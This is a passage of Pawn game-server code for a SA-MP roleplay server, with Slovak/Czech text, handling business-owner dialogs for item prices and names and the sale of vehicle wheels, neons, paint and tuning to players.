                    Firm[Player[playerid][FirmP]][Text3D] = Create3DTextLabel("[ Firma ]\nVolna firma", COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmP]][fpX], Firm[Player[playerid][FirmP]][fpY], Firm[Player[playerid][FirmP]][fpZ], 40, 0);

                    Player[playerid][IPIP]=false;
                    Player[playerid][FirmP]=9999;
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmItemsMenu)
        {
            if(response == 1)
            {
                new firmtype = Firm[Player[playerid][FirmP]][Type];

                new fway[40];
                format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                Player[playerid][SaveFirmItemNumber] = listitem;

                     if(firmtype == 0 || firmtype == 1 || firmtype == 3 || firmtype == 4) ShowPlayerDialog(playerid,Dialog_FirmItemMenu,DIALOG_STYLE_LIST,"{ff0000}Menu položky","Změeniť cenu položky","OK","Cancel");
                else if(firmtype == 2) ShowPlayerDialog(playerid,Dialog_FirmItemMenu,DIALOG_STYLE_LIST,"{ff0000}Menu položky","Zmeniť cenu položky\nNahradiť položku\nZmeniť meno položky","OK","Cancel");
                else if(firmtype == 8) ShowPlayerDialog(playerid,Dialog_FirmItemMenu,DIALOG_STYLE_LIST,"{ff0000}Menu položky","Zmeniť cenu položky\nNahradiť položku","OK","Cancel");
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmItemMenu)
        {
            if(response == 1)
            {
                new firmtype = Firm[Player[playerid][FirmP]][Type];

                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_FirmIChngPrice,DIALOG_STYLE_INPUT,"{ff0000}Zmeniť cenu položky","Zadaj novu cenu položky:","Zmeniť","Cancel");

                if(listitem == 1)
                {
                    if(firmtype == 2) ShowPlayerDialog(playerid,Dialog_FirmIChngClr,DIALOG_STYLE_INPUT,"{ff0000}Nahradiť položku","Zadaj číslo novéj farby:\n(0 - 126)","Zmeniť","Cancel");
                    if(firmtype == 8) ShowPlayerDialog(playerid,Dialog_FirmIChngWpn,DIALOG_STYLE_LIST,"{ff0000}Nahradiť položku {c5c5c5}- Vyber novu zbraň","9 mm\n9mm + tlmič\nDesert Eagle\nBrokovnice\nSawn - Off\nCombat Shotgun\nTec 9\nUZI\nMP5\nAK - 47\nM4\nGranát\nPuška\nSniperka\nRPG\n{ffff00}Armour","Zmeniť","Cancel");
                }

                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_FirmIChngNme,DIALOG_STYLE_INPUT,"{ff0000}Nahradiť meno položky","Zadaj nové meno tejto farby:","Zmeniť","Cancel");
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmIChngPrice)
        {
            if(response == 1)
            {
                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_FirmIChngPrice,DIALOG_STYLE_INPUT,"{ff0000}Zmeniť cenu položky","{ff0000}Nezadal si cenu !\nZadaj novu cenu položky:","Zmeniť","Cancel");
                else if(strval(inputtext) <= 0 || strval(inputtext) > 999999) return ShowPlayerDialog(playerid,Dialog_FirmIChngPrice,DIALOG_STYLE_INPUT,"{ff0000}Zmeniť cenu položky","{ff0000}Rozmedzie ceny: 1 - 999 999$ !\nZadaj novu cenu položky:","Zmeniť","Cancel");
                else
                {
                    new fway[40];
                    format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                    new itemid = Player[playerid][SaveFirmItemNumber];

                    new strng[128];
                    format(strng,128,"~w~Nova cena polozky je:~n~~y~%d$ ~w~!", strval(inputtext));
                    FormatPlayerInfoBox(playerid,"~g~Firma",strng,3000);

                    new Item_price[16];
                    format(Item_price,16, "Item%d_price", itemid);

                    dini_IntSet(fway, Item_price, strval(inputtext));

                    SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmIChngClr)
        {
            if(response == 1)
            {
                new firmtype = Firm[Player[playerid][FirmP]][Type];

                new fway[40];
                format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                new itemid = Player[playerid][SaveFirmItemNumber];

                if(firmtype == 2)
                {
                         if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_FirmIChngClr,DIALOG_STYLE_INPUT,"{ff0000}Nahradiť položku","{ff0000}Nezadal si číslo farby !\nZadaj číslo novéj farby:\n(0 - 126)","Zhliadnut","Cancel");
                    else if(strval(inputtext) < 0 || strval(inputtext) > 126) return ShowPlayerDialog(playerid,Dialog_FirmIChngClr,DIALOG_STYLE_INPUT,"{ff0000}Nahradiť položku","{ff0000}Rozmedzie: 0 - 126 !\nZadaj číslo novéj farby:\n(0 - 126)","Zhliadnut","Cancel");
                    else
                    {
                        new Item_id[16];
                        format(Item_id,16, "Item%d_id", itemid);

                        dini_IntSet(fway, Item_id, strval(inputtext));

                        new strng[128];
                        format(strng,128,"~w~Cislo novej farby je:~n~~y~%d ~w~!", strval(inputtext));
                        FormatPlayerInfoBox(playerid,"~g~Firma",strng,3000);

                        SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
                    }
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmIChngWpn)
        {
            if(response == 1)
            {
                new firmtype = Firm[Player[playerid][FirmP]][Type];

                new fway[40];
                format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                new itemid = Player[playerid][SaveFirmItemNumber];

                if(firmtype == 8)
                {
                    new weaponid;

                    if(listitem == 0) weaponid=22;
                    if(listitem == 1) weaponid=23;
                    if(listitem == 2) weaponid=24;
                    if(listitem == 3) weaponid=25;
                    if(listitem == 4) weaponid=26;
                    if(listitem == 5) weaponid=27;
                    if(listitem == 6) weaponid=32;
                    if(listitem == 7) weaponid=28;
                    if(listitem == 8) weaponid=29;
                    if(listitem == 9) weaponid=30;
                    if(listitem == 10) weaponid=31;
                    if(listitem == 11) weaponid=16;
                    if(listitem == 12) weaponid=33;
                    if(listitem == 13) weaponid=34;
                    if(listitem == 14) weaponid=35;
                    if(listitem == 15) weaponid=99;

                    new strng[128];
                    if(weaponid < 99) format(strng,128,"~w~Nahradil si staru polozku novou polozkou:~n~~y~%s ~w~!", WeaponName(weaponid));
                    else               strng="~w~Nahradil si staru polozku novou polozkou:~n~~y~Armour ~w~!";
                    FormatPlayerInfoBox(playerid,"~g~Firma",strng,3000);

                    new Item_id[16];
                    format(Item_id,16, "Item%d_id", itemid);
                    new Item_name[16];
                    format(Item_name,16, "Item%d_name", itemid);

                    dini_IntSet(fway, Item_id, (weaponid+200));

                    if(weaponid < 99) dini_Set(fway, Item_name, WeaponName(weaponid));
                    else              dini_Set(fway, Item_name, "Armour");

                    SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmIChngNme)
        {
            if(response == 1)
            {
                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_FirmIChngNme,DIALOG_STYLE_INPUT,"{ff0000}Nahradiť meno položky","{ff0000}Nezadal si meno !\nZadaj nové meno téhle farby:","Zmeniť","Cancel");
                else if(strlen(inputtext) > 25) return ShowPlayerDialog(playerid,Dialog_FirmIChngNme,DIALOG_STYLE_INPUT,"{ff0000}Nahradiť meno položky","{ff0000}Maximálne 25 znakok !\nZadaj nové meno tejto farby:","Zmeniť","Cancel");
                else
                {
                    new fway[40];
                    format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                    new itemid = Player[playerid][SaveFirmItemNumber];

                    new strng[128];
                    format(strng,128,"~w~Nove meno farby je:~n~~y~%s ~w~!", inputtext);
                    FormatPlayerInfoBox(playerid,"~g~Firma",strng,3000);

                    new Item_name[16];
                    format(Item_name,16, "Item%d_name", itemid);

                    dini_Set(fway, Item_name, inputtext);

                    SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",playerid);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmT57)
        {
            if(response == 1)
            {
                new fway[40];
                format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_FirmT57,DIALOG_STYLE_INPUT,"{ff0000}Cena jedla","{ff0000}Nezadal si cenu !\nZadaj novu cenu jedla v tvojej firme:","Zmeniť","Cancel");
                else if(strval(inputtext) <= 0 || strval(inputtext) > 999999) return ShowPlayerDialog(playerid,Dialog_FirmT57,DIALOG_STYLE_INPUT,"{ff0000}Cena jedla","{ff0000}Rozmedzie ceny: 1 - 999 999$ !\nZadaj novu cenu jedla v tvojej firme:","Zmeniť","Cancel");
                else
                {
                    dini_IntSet(fway,"Item0_price", strval(inputtext));

                    new strmsg[128];
                    format(strmsg,128,"~w~Nastvil si cenu jedla v tvojej firme na ~y~%d$~w~ !", strval(inputtext));
                    FormatPlayerInfoBox(playerid,"~g~Firma",strmsg,4000);

                    Player[playerid][IPIP]=false;
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmChngName)
        {
            if(response == 1)
            {
                if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_FirmChngName,DIALOG_STYLE_INPUT,"{ff0000}Zmena mena firmy","{ff0000}Nezadal si meno !\nZadaj nové meno firmy:","Zmeniť","Cancel");
                else if(strlen(inputtext)>40) return ShowPlayerDialog(playerid,Dialog_FirmChngName,DIALOG_STYLE_INPUT,"{ff0000}Zmena mena firmy","{ff0000}Maximálne 40 znakok !\nZadaj nové meno firmy:","Zmeniť","Cancel");
                else
                {
                    new fway[40];
                    format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                    new msg[128];
                    format(msg,128,"{c5c5c5}Zmenil si si meno svojej firmy, nové meno firmy je:\n{ffff00}%s", inputtext);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ff0000}Zmena mena firmy",msg,"OK","");

                    dini_Set(fway, "Name", inputtext);

                    Delete3DTextLabel(Firm[Player[playerid][FirmP]][Text3D]);
                    new fstring[256];
                    format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmP]][Trzba]);
                    Firm[Player[playerid][FirmP]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmP]][fpX], Firm[Player[playerid][FirmP]][fpY], Firm[Player[playerid][FirmP]][fpZ], 40, 0);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmSluzby)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse",1750,0,"i",playerid);

                new firmtype = Firm[Player[playerid][FirmID]][Type];

                new fway[40];
                format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmID]);

                new Item_price[32];
                new Item_name[32];
                new Item_id[32];

                format(Item_price,32, "Item%d_price", listitem);
                format(Item_name,32, "Item%d_name", listitem);
                format(Item_id,32, "Item%d_id", listitem);

                new vehicleid = GetPlayerVehicleID(playerid);

                new componentid;

                     if((firmtype >= 0 && firmtype <= 4) && vehicleid == 0) return GameTextForPlayer(playerid,"~r~NIE SI Vo VOZIDLE !",3000,5);
                else if(firmtype >= 5 && vehicleid > 0) return GameTextForPlayer(playerid,"~r~VYSTUP Z VOZIDLA !",3000,5);
                else
                {

                    //---------------------VEHICLE WHEELS---------------------------

                    if(firmtype == 0)
                    {
                        if(vehicleid > 0)
                        {
                            if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si nové kolesa na svoju karu !",3000);

                                if(listitem == 0) componentid = 1074;
                                if(listitem == 1) componentid = 1073;
                                if(listitem == 2) componentid = 1075;
                                if(listitem == 3) componentid = 1076;
                                if(listitem == 4) componentid = 1077;
                                if(listitem == 5) componentid = 1081;
                                if(listitem == 6) componentid = 1085;
                                if(listitem == 7) componentid = 1078;

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                new fstring[256];
                                format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                AddVehicleComponent(vehicleid, componentid);

                                if(Player[playerid][HouseP] != 9999)
                                {
                                    for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                    {
                                        if(Car_State[s][Player[playerid][HouseP]] == true)
                                        {
                                            if(vehicleid == Car[s][Player[playerid][HouseP]])
                                            {
                                                new hway[32];
                                                format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                                new V_wheels[32];
                                                format(V_wheels,32, "V%d_wheels", s);

                                                dini_IntSet(hway, V_wheels, componentid);

                                                return 0;
                                            }
                                        }
                                    }
                                }

                                if(Player[playerid][ClanP] != 9999)
                                {
                                    for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                    {
                                        if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                        {
                                            if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                            {
                                                new cway[64];
                                                format(cway,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                                                new V_wheels[32];
                                                format(V_wheels,32, "V%d_wheels", s);

                                                dini_IntSet(cway, V_wheels, componentid);

                                                return 0;
                                            }
                                        }
                                    }
                                }
                                
                                for(new s=0; s<5; s++)
                                {
                                    if(PlayerVehicle_State[s][playerid] == true)
                                    {
                                        if(vehicleid == PlayerVehicle[s][playerid])
                                        {
                                            new pway[32], Name[24];
                                            GetPlayerName(playerid, Name, 24);
                                            format(pway,32,"SL/%s.cfg", Name);

                                            new V_wheels[32];
                                            format(V_wheels,32, "V%d_wheels", s);

                                            dini_IntSet(pway, V_wheels, componentid);

                                            return 0;
                                        }
                                    }
                                }
                            }
                        }
                    }

                    //---------------------VEHICLE NEONS----------------------------

                    if(firmtype == 1)
                    {
                        if(vehicleid > 0)
                        {
                            new bool:IsVehicleHouseVehicle=false;
                            new bool:IsVehicleClanVehicle=false;
                            new bool:IsVehiclePlayerVehicle=false;
                            new phvehicle;
                            new carseries;

                            if(Player[playerid][HouseP] != 9999)
                            {
                                for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                {
                                    if(Car_State[s][Player[playerid][HouseP]] == true)
                                    {
                                        if(vehicleid == Car[s][Player[playerid][HouseP]])
                                        {
                                            IsVehicleHouseVehicle=true;
                                            phvehicle = Car[s][Player[playerid][HouseP]];
                                            carseries = s;
                                            break;
                                        }
                                    }
                                }
                            }

                            if(Player[playerid][ClanP] != 9999)
                            {
                                for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                {
                                    if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                    {
                                        if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                        {
                                            IsVehicleClanVehicle=true;
                                            phvehicle = ClanVehicle[s][Player[playerid][ClanP]];
                                            carseries = s;
                                            break;
                                        }
                                    }
                                }
                            }
                            
                            for(new s=0; s<5; s++)
                            {
                                if(PlayerVehicle_State[s][playerid] == true)
                                {
                                    if(vehicleid == PlayerVehicle[s][playerid])
                                    {
                                        IsVehiclePlayerVehicle=true;
                                        phvehicle = PlayerVehicle[s][playerid];
                                        carseries = s;
                                        break;
                                    }
                                }
                            }

                                 if((GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) && listitem != 6) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatek penězí !");
                            else if(IsVehicleHouseVehicle == false && IsVehicleClanVehicle == false && IsVehiclePlayerVehicle == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Neony se dají přidávat pouze na auta od domu, na clanové vozidlá nebo na vlastní vozidla !");
                            else
                            {
                                new hway[32];
                                format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                new cway[64];
                                format(cway,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);
                                
                                new pway[32], playername[24];
                                GetPlayerName(playerid, playername, 24);
                                format(pway,32,"SL/%s.cfg", playername);

                                new V_neons[32];
                                format(V_neons,32, "V%d_neons", carseries);

                                if(listitem == 6) //vymazanie neonov
                                {
                                    if(IsVehicleHouseVehicle == true)
                                    {
                                        if(CarNeons[carseries][Player[playerid][HouseP]] == false) return GameTextForPlayer(playerid,"~r~Toto auto nema neony !",3500,5);
                                        else
                                        {
                                            DestroyObject(CarNeon1[carseries][Player[playerid][HouseP]]);
                                            DestroyObject(CarNeon2[carseries][Player[playerid][HouseP]]);
                                            CarNeons[carseries][Player[playerid][HouseP]] = false;
                                            dini_IntSet(hway, V_neons, 0);

                                            FormatPlayerInfoBox(playerid,"~g~Firma","Neony boli uspesne vymazane !",3000);

                                            return 0;
                                        }
                                    }

                                    else if(IsVehicleClanVehicle == true)
                                    {
                                        if(ClanVehicleNeons[carseries][Player[playerid][ClanP]] == false) return GameTextForPlayer(playerid,"~r~Toto auto nema neony !",3500,5);
                                        else
                                        {
                                            DestroyObject(ClanVehicleNeon1[carseries][Player[playerid][ClanP]]);
                                            DestroyObject(ClanVehicleNeon2[carseries][Player[playerid][ClanP]]);
                                            ClanVehicleNeons[carseries][Player[playerid][ClanP]] = false;
                                            dini_IntSet(cway, V_neons, 0);

                                            FormatPlayerInfoBox(playerid,"~g~Firma","Neony boli uspesne vymazane !",3000);

                                            return 0;
                                        }
                                    }
                                    
                                    else if(IsVehiclePlayerVehicle == true)
                                    {
                                        if(PlayerVehicleNeons[carseries][playerid] == false) return GameTextForPlayer(playerid,"~r~Toto auto nema neony !",3500,5);
                                        else
                                        {
                                            DestroyObject(PlayerVehicleNeon1[carseries][playerid]);
                                            DestroyObject(PlayerVehicleNeon2[carseries][playerid]);
                                            PlayerVehicleNeons[carseries][playerid] = false;
                                            dini_IntSet(pway, V_neons, 0);

                                            FormatPlayerInfoBox(playerid,"~g~Firma","Neony boli uspesne vymazane !",3000);

                                            return 0;
                                        }
                                    }
                                }
                                else
                                {
                                    FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si nove neony na svoju karu !",3000);

                                    if(listitem == 0) componentid = 18647;
                                    if(listitem == 1) componentid = 18648;
                                    if(listitem == 2) componentid = 18649;
                                    if(listitem == 3) componentid = 18650;
                                    if(listitem == 4) componentid = 18651;
                                    if(listitem == 5) componentid = 18652;

                                    GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                    Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                    dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                    Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                    format(gBIGSTRING,sizeof(gBIGSTRING), "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                    Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(gBIGSTRING, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                    if(IsVehicleHouseVehicle == true)
                                    {
                                        if(CarNeons[carseries][Player[playerid][HouseP]] == true)
                                        {
                                            DestroyObject(CarNeon1[carseries][Player[playerid][HouseP]]);
                                            DestroyObject(CarNeon2[carseries][Player[playerid][HouseP]]);
                                        }

                                        dini_IntSet(hway, V_neons, componentid);

                                        CarNeon1[carseries][Player[playerid][HouseP]] = CreateObject(dini_Int(hway, V_neons), -0.66, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        CarNeon2[carseries][Player[playerid][HouseP]] = CreateObject(dini_Int(hway, V_neons), 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        AttachObjectToVehicle(CarNeon1[carseries][Player[playerid][HouseP]], phvehicle, -0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        AttachObjectToVehicle(CarNeon2[carseries][Player[playerid][HouseP]], phvehicle, 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);

                                        CarNeons[carseries][Player[playerid][HouseP]] = true;
                                    }

                                    else if(IsVehicleClanVehicle == true)
                                    {
                                        if(ClanVehicleNeons[carseries][Player[playerid][ClanP]] == true)
                                        {
                                            DestroyObject(ClanVehicleNeon1[carseries][Player[playerid][ClanP]]);
                                            DestroyObject(ClanVehicleNeon2[carseries][Player[playerid][ClanP]]);
                                        }

                                        dini_IntSet(cway, V_neons, componentid);

                                        ClanVehicleNeon1[carseries][Player[playerid][ClanP]] = CreateObject(dini_Int(cway, V_neons), -0.66, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        ClanVehicleNeon2[carseries][Player[playerid][ClanP]] = CreateObject(dini_Int(cway, V_neons), 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        AttachObjectToVehicle(ClanVehicleNeon1[carseries][Player[playerid][ClanP]], phvehicle, -0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        AttachObjectToVehicle(ClanVehicleNeon2[carseries][Player[playerid][ClanP]], phvehicle, 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);

                                        ClanVehicleNeons[carseries][Player[playerid][ClanP]] = true;
                                    }
                                    
                                    else if(IsVehiclePlayerVehicle == true)
                                    {
                                        if(PlayerVehicleNeons[carseries][playerid] == true)
                                        {
                                            DestroyObject(PlayerVehicleNeon1[carseries][playerid]);
                                            DestroyObject(PlayerVehicleNeon2[carseries][playerid]);
                                        }

                                        dini_IntSet(pway, V_neons, componentid);

                                        PlayerVehicleNeon1[carseries][playerid] = CreateObject(dini_Int(pway, V_neons), -0.66, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        PlayerVehicleNeon2[carseries][playerid] = CreateObject(dini_Int(pway, V_neons), 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        AttachObjectToVehicle(PlayerVehicleNeon1[carseries][playerid], phvehicle, -0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                                        AttachObjectToVehicle(PlayerVehicleNeon2[carseries][playerid], phvehicle, 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);

                                        PlayerVehicleNeons[carseries][playerid] = true;
                                    }
                                }
                            }
                        }
                    }

                    //---------------------VEHICLE COLOR----------------------------
 


                    if(firmtype == 2)
                    {
                        if(vehicleid > 0)
                        {
                            if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si novu farbu na svoju karu !",3000);

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                format(gBIGSTRING,sizeof(gBIGSTRING), "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(gBIGSTRING, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                ChangeVehicleColor(vehicleid, dini_Int(fway, Item_id), dini_Int(fway, Item_id));

                                if(Player[playerid][HouseP] != 9999)
                                {
                                    for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                    {
                                        if(Car_State[s][Player[playerid][HouseP]] == true)
                                        {
                                            if(vehicleid == Car[s][Player[playerid][HouseP]])
                                            {
                                                new hway[32];
                                                format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                                new V_color1[32];
                                                format(V_color1,32, "V%d_color1", s);
                                                new V_color2[32];
                                                format(V_color2,32, "V%d_color2", s);

                                                dini_IntSet(hway, V_color1, dini_Int(fway, Item_id));
                                                dini_IntSet(hway, V_color2, dini_Int(fway, Item_id));

                                                return 0;
                                            }
                                        }
                                    }
                                }

                                if(Player[playerid][ClanP] != 9999)
                                {
                                    for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                    {
                                        if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                        {
                                            if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                            {
                                                new cway[64];
                                                format(cway,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                                                new V_color1[32];
                                                format(V_color1,32, "V%d_color1", s);
                                                new V_color2[32];
                                                format(V_color2,32, "V%d_color2", s);

                                                dini_IntSet(cway, V_color1, dini_Int(fway, Item_id));
                                                dini_IntSet(cway, V_color2, dini_Int(fway, Item_id));

                                                return 0;
                                            }
                                        }
                                    }
                                }
                                
                                for(new s=0; s<5; s++)
                                {
                                    if(PlayerVehicle_State[s][playerid] == true)
                                    {
                                        if(vehicleid == PlayerVehicle[s][playerid])
                                        {
                                            new pway[32], Name[24];
                                            GetPlayerName(playerid, Name, 24);
                                            format(pway,32,"SL/%s.cfg", Name);

                                            new V_color1[32];
                                            format(V_color1,32, "V%d_color1", s);
                                            new V_color2[32];
                                            format(V_color2,32, "V%d_color2", s);

                                            dini_IntSet(pway, V_color1, dini_Int(fway, Item_id));
                                            dini_IntSet(pway, V_color2, dini_Int(fway, Item_id));

                                            return 0;
                                        }
                                    }
                                }
                            }
                        }
                    }

                    //---------------------VEHICLE TUNNING--------------------------

                    if(firmtype == 3)
                    {
                        if(vehicleid > 0)
                        {
                            new modelid = GetVehicleModel(vehicleid);

                            if(modelid != 560 && modelid != 562 && modelid != 559 && modelid != 565 && modelid != 558) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Iba pre vozidla: Sultan, Jester, Elegy, Flash, Uranus !");
                            else if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                new bool:IsVehicleHouseVehicle=false;
                                new bool:IsVehicleClanVehicle=false;
                                new bool:IsVehiclePlayerVehicle=false;

                                new series;

                                if(Player[playerid][HouseP] != 9999)
                                {
                                    for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                    {
                                        if(Car_State[s][Player[playerid][HouseP]] == true)
                                        {
                                            if(vehicleid == Car[s][Player[playerid][HouseP]])
                                            {
                                                IsVehicleHouseVehicle=true;
                                                series = s;
                                                break;
                                            }
                                        }
                                    }
                                }

                                if(Player[playerid][ClanP] != 9999)
                                {
                                    for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                    {
                                        if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                        {
                                            if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                            {
